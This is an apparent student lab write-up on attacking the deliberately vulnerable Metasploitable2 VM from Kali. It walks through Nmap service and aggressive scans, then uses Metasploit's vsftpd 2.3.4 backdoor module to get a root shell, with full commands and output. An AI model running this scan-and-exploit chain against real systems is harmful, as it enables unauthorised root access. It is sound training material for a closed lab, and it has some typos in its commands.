

Exploit metasploitable2

Hands-on cybersecurity lab demonstrating Metasploit exploitation by combining Nmap scanning for target discovery and service enumeration with msfconsole for vulnerability exploitation and session management.

Lab Setup

- ⇒ Attacker PC (Kali)
- ⇒ Metasploit

Tools Used

- ⇒ Nmap
- ⇒ Msfconsole

Check Connectivity Ping From both sides.

#ifconfig (Metasploit)

```
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 00:0c:29:fa:dd:2a
          inet addr:192.168.142.130  Bcast:192.168.142.255  Mask:255.255.255.0
```

#ping 192.168.142.128 (kali from Metasploit)

```
msfadmin@metasploitable:~$ ping 192.168.142.128
PING 192.168.142.128 (192.168.142.128) 56(84) bytes of data.
64 bytes from 192.168.142.128: icmp_seq=1 ttl=64 time=0.679 ms
```

#ifconfig (kali)

```
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
      inet 192.168.142.128 netmask 255.255.255.0 broadcast 192.168.142.255
      inet6 fe80::2e78:7dee:8f16:69cc prefixlen 64 scopeid 0x20<link>
```

#pin 192.168.142.130 (Metasploit on kali)

```
(root@kali)-[/home/kali]
# ping 192.168.142.130
PING 192.168.142.130 (192.168.142.130) 56(84) bytes of data.
64 bytes from 192.168.142.130: icmp_seq=1 ttl=64 time=0.501 ms
64 bytes from 192.168.142.130: icmp_seq=2 ttl=64 time=0.507 ms
```

From the above exercise we have understand that he successful connection has been created.

Now open nmap on kali terminal and check the version of nmap is it latest and upgraded?

#nmap --version

```
(root@kali)-[/home/kali]
# nmap --version
Nmap version 7.94SVN ( https://nmap.org )
Platform: x86_64-pc-linux-gnu
Compiled with: liblua-5.4.6 openssl-3.2.2 libssh2-1.11.0 libz-1.3.1 libpcap-1.10.4 nmap-libdnet-1.12 ipv6
Compiled without:
Available nsock engines: epoll poll select
```

Yes, Nmap 7.94 is an upgraded version. It was released with several significant improvements and new features, including a migration of Zenmap and Ndiff to Python 3, enhanced OS fingerprint matching, and various library upgrades. The latest version is actually Nmap 7.96, which further builds upon these enhancements with even more performance improvements and new scripts.

NMAP SCAN ENTIRE LOCAL NETWORK

Command used

#nmap -Sv -p 21 192.168.142.130 (metasploitable)

```
(root@kali)~[/home/kali]
# nmap -sV -p 21 192.168.142.130
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-10 03:17 EDT
Nmap scan report for 192.168.142.130
Host is up (0.00052s latency).

PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.3.4
MAC Address: 00:0C:29:FA:DD:2A (VMware)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.21 seconds
```

To scan **port 21** (commonly used for **FTP - File Transfer Protocol**) on a target system and detect the **version** of the service running on that port.

Detect open ports

nmap -A 21 192.168.142.130

```
(root@kali)~[/home/kali]
# nmap -A 21 192.168.142.130
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-10 03:24 EDT
Nmap scan report for 192.168.142.130
Host is up (0.00076s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ftp-syst:
|_STAT:
|_FTP server status:
|_Connected to 192.168.142.128
|_Logged in as ftp
|_TYPE: ASCII
|_No session bandwidth limit
|_Session timeout in seconds is 300
|_Control connection is plain text
|_Data connections will be plain text
|_vsFTPD 2.3.4 - secure, fast, stable
|_End of status
22/tcp    open  ssh      OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
```

Attempt to identify the operating system

Identify services and their versions

Run default scripts for additional information

Perform traceroute to the target

Perform an aggressive scan

#nmap -A -oA report 192.168.142.130

```
(root@kali)~[/home/kali]
# nmap -A -oA report 192.168.142.130
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-10 03:28 EDT
Nmap scan report for 192.168.142.130
Host is up (0.00052s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ftp-syst:
|_STAT:
|_FTP server status:
|_Connected to 192.168.142.128
|_Logged in as ftp
|_TYPE: ASCII
|_No session bandwidth limit
|_Session timeout in seconds is 300
|_Control connection is plain text
|_Data connections will be plain text
|_vsFTPD 2.3.4 - secure, fast, stable
|_End of status
22/tcp    open  ssh      OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
|_ssh-hostkey:
|_1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp    open  telnet   Linux telnetd
25/tcp    open  smtp     Postfix smtpd
|_smtp_commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
|_ssl-date: 2025-07-10T07:28:48+00:00; +4s from scanner time.
|_sslv2:
```

This will:

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- report.nmap (normal)
- report.xml (XML)
- report.gnmap (grepable)

Start msfconsole



it will shows all the exploit results almost 500

```
#search vsftpd
```

```
msf6 > search vsftpd

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -                                     -              -      -      -
0  auxiliary/dos/ftp/vsftpd_232             2011-02-03      normal  Yes    VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor      2011-07-03      excellent No     VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
```

We are interested in backdoor

So,

msf6> use 1

```
msf6 > use 1
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
```

Show Options

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  --      -
  CHOST      no               no        The local client address
  CPORT      no               no        The local client port
  Proxies    no               no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     yes              yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      21               yes       The target port (TCP)

Exploit target:

  Id  Name
  --  -
  0    Automatic
```

Set port and host

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.142.130
RHOSTS => 192.168.142.130
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RPORT 21
RPORT => 21
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
```

#exploit

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.142.130:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.142.130:21 - USER: 331 Please specify the password.
[*] 192.168.142.130:21 - Backdoor service has been spawned, handling...
[*] 192.168.142.130:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.142.128:45153 -> 192.168.142.130:6200) at 2025-07-10 03:47:16 -0400
```

Result:

- 1- Established connection between kali linux and metasploitable
- 2- Ping for verification
- 3- Check nmap -version for verification
- 4- Up to date
- 5- Perform an aggressive scan
- 6- With the help of msfconsole
- 7- Exploit metasploitable
- 8- Access shell